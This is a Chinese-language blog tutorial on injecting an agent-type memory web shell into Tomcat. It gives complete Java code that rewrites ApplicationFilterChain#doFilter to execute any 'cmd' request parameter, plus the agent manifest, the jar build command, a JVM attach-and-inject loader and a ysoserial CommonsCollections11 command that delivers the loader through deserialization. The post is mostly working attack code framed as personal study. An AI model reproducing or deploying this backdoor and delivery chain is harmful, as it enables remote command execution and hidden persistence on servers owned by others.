码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • Tomcat内存马学习5:Agent型


    利用java-agent修改jvm中已经加载的类比如(org/apache/catalina/core/ApplicationFilterChain#doFilter)来达到注入内存马的目的

    具体点来说就是通过VirtualMachine 类的 attach(pid) 方法,可以连接到一个运行中的 java 进程上之后便可以通过 loadAgent(agentJarPath) 来将恶意agent 的 jar 包注入到对应的进程,然后对应的进程会调用agentmain方法,这个方法会遍历所有的已加载类并找到我们需要的类,修改其字节码从而达到注入内存马目的

    agent.jar(需要上传到对方服务器)

    //AgentMain
    import java.lang.instrument.Instrumentation;
    
    public class AgentMain {
    
        public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
    
        public static void agentmain(String agentArgs, Instrumentation ins) {
            ins.addTransformer(new DefineTransformer(),true);
            // 获取所有已加载的类
            Class[] classes = ins.getAllLoadedClasses();
            for (Class clas:classes){
                if (clas.getName().equals(ClassName)){
                    try{
                        // 找到ClassName类,对其重新定义,此时会调用DefineTransformer#transform
                        ins.retransformClasses(new Class[]{clas});
                    } catch (Exception e){
                        e.printStackTrace();
                    }
                }
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    //DefineTransformer
    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.CtMethod;
    
    import java.lang.instrument.ClassFileTransformer;
    import java.lang.instrument.IllegalClassFormatException;
    import java.security.ProtectionDomain;
    
    // 每当类被加载,就会调用 transform 函数
    public class DefineTransformer implements ClassFileTransformer {
    
        public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
    
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            //给ApplicationFilterChain#doFilter方法体最前面添加内存马代码
            className = className.replace("/",".");
            if (className.equals(ClassName)){
                System.out.println("Find the Inject Class: " + ClassName);
                ClassPool pool = ClassPool.getDefault();
                try {
                    CtClass c = pool.getCtClass(className);
                    CtMethod m = c.getDeclaredMethod("doFilter");
                    m.insertBefore("javax.servlet.http.HttpServletRequest req =  request;\n" +
                            "javax.servlet.http.HttpServletResponse res = response;\n" +
                            "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                            "if (cmd != null){\n" +
                            "    try {\n" +
                            "        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
                            "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                            "        String line;\n" +
                            "        StringBuilder sb = new StringBuilder(\"\");\n" +
                            "        while ((line=reader.readLine()) != null){\n" +
                            "            sb.append(line).append(\"\\n\");\n" +
                            "        }\n" +
                            "        response.getOutputStream().print(sb.toString());\n" +
                            "        response.getOutputStream().flush();\n" +
                            "        response.getOutputStream().close();\n" +
                            "    } catch (Exception e){\n" +
                            "        e.printStackTrace();\n" +
                            "    }\n" +
                            "}");
                    byte[] bytes = c.toBytecode();
                    // 将 c 从 classpool 中删除以释放内存
                    c.detach();
                    return bytes;
                } catch (Exception e){
                    e.printStackTrace();
                }
            }
            return new byte[0];
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    //MANIFEST.MF
    Manifest-Version: 1.0
    Created-By: 1.8.0_332 (Amazon.com Inc.)
    Can-Redefine-Classes: true
    Can-Retransform-Classes: true
    // 设置入口类
    Agent-Class: AgentMain
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    以上三个文件打包为jar

    jar cvfm AgentMain.jar MANIFEST.MF AgentMain.class DefineTransformer.class
    
    • 1

    利用CC11注入agent.jar

    //保存为TestAgentMain.java
    try{
        //设置上传的agent.jar的位置
        java.lang.String path = "F:\\javasec-env\\javaAgent\\src\\main\\java\\agent.jar";
        //加载tools.jar,这个虽然是jdk内置jar包,但是默认不加载,需要人工导入
        java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
        java.net.URL url = toolsPath.toURI().toURL();
        java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
        //加载tools包内的VirtualMachine和VirtualMachineDescriptor用于寻找springboot项目的JVM进程
        Class/**/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
        Class/**/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
        java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
        java.util.List/**/ list = (java.util.List/**/) listMethod.invoke(MyVirtualMachine,null);
    
        System.out.println("Running JVM list ...");
        for(int i=0;i<list.size();i++){
            Object o = list.get(i);
            java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
            java.lang.String name = (java.lang.String) displayName.invoke(o,null);
            // 列出当前有哪些 JVM 进程在运行 
          	// 这里的 if 条件根据实际情况进行更改
            // com.example.CcApplication为我本地springboot项目的入口类
            if (name.contains("com.example.CcApplication")){
                // 在获取到spring项目的JVM 进程后
                // 获取对应进程的 pid 号
                java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
                java.lang.String id = (java.lang.String) getId.invoke(o,null);
                System.out.println("id >>> " + id);
                //连接到对应JVM 进程
                java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
                java.lang.Object vm = attach.invoke(o,new Object[]{id});
                //将agent.jar注入到该进程中,此时会调用jar包中的agentmain方法,搜索已加载的ApplicationFilter类并修改其doFilter方法
                java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
                loadAgent.invoke(vm,new Object[]{path});
                // 释放该进程
                java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
                detach.invoke(vm,null);
                System.out.println("Agent.jar Inject Success !!");
                break;
            }
        }
    } catch (Exception e){
        e.printStackTrace();
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    //将TestAgentMain.java添加到cc11上来触发
    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11 codefile:./TestAgentMain.java > cc11demo.ser
    
    • 1
    • 2

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IbVdNdMl-1660096704602)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220809143739336.png)]

    成功注入

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IWGDPeOt-1660096704603)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220809143749978.png)]

    大体思路都写在了代码注释里

    感谢木头师傅以及Y4er师傅的指点

  • 相关阅读:
    【Android笔记46】Android中如何自定义弹出框样式
    CKA考生注意:这些Deployment要点能助你一臂之力!
    termius mac版无需登录注册直接永久使用
    字节面试题:如何保证缓存和数据库的一致性
    JAVA生成安全认证证书
    C#解析JSON
    java毕业生设计医院门诊分诊系统计算机源码+系统+mysql+调试部署+lw
    el-menu动态加载路由,菜单的解决方案
    移动端input输入时底部按钮被虚拟键盘顶上解决办法
    户外指南——时代产物
  • 原文地址:https://blog.csdn.net/weixin_43263451/article/details/126260716
    • 最新文章
    • 攻防演习之三天拿下官网站群
      数据安全治理学习——前期安全规划和安全管理体系建设
      企业安全 | 企业内一次钓鱼演练准备过程
      内网渗透测试 | Kerberos协议及其部分攻击手法
      0day的产生 | 不懂代码的"代码审计"
      安装scrcpy-client模块av模块异常,环境问题解决方案
      leetcode hot100【LeetCode 279. 完全平方数】java实现
      OpenWrt下安装Mosquitto
      AnatoMask论文汇总
      【AI日记】24.11.01 LangChain、openai api和github copilot
    • 热门文章
    • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
      奉劝各位学弟学妹们,该打造你的技术影响力了!
      五年了,我在 CSDN 的两个一百万。
      Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
      面试官都震惊,你这网络基础可以啊!
      你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
      心情不好的时候,用 Python 画棵樱花树送给自己吧
      通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
      13 万字 C 语言从入门到精通保姆级教程2021 年版
      10行代码集2000张美女图,Python爬虫120例,再上征途
    Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
    正则表达式工具 cron表达式工具 密码生成工具

    京公网安备 11010502049817号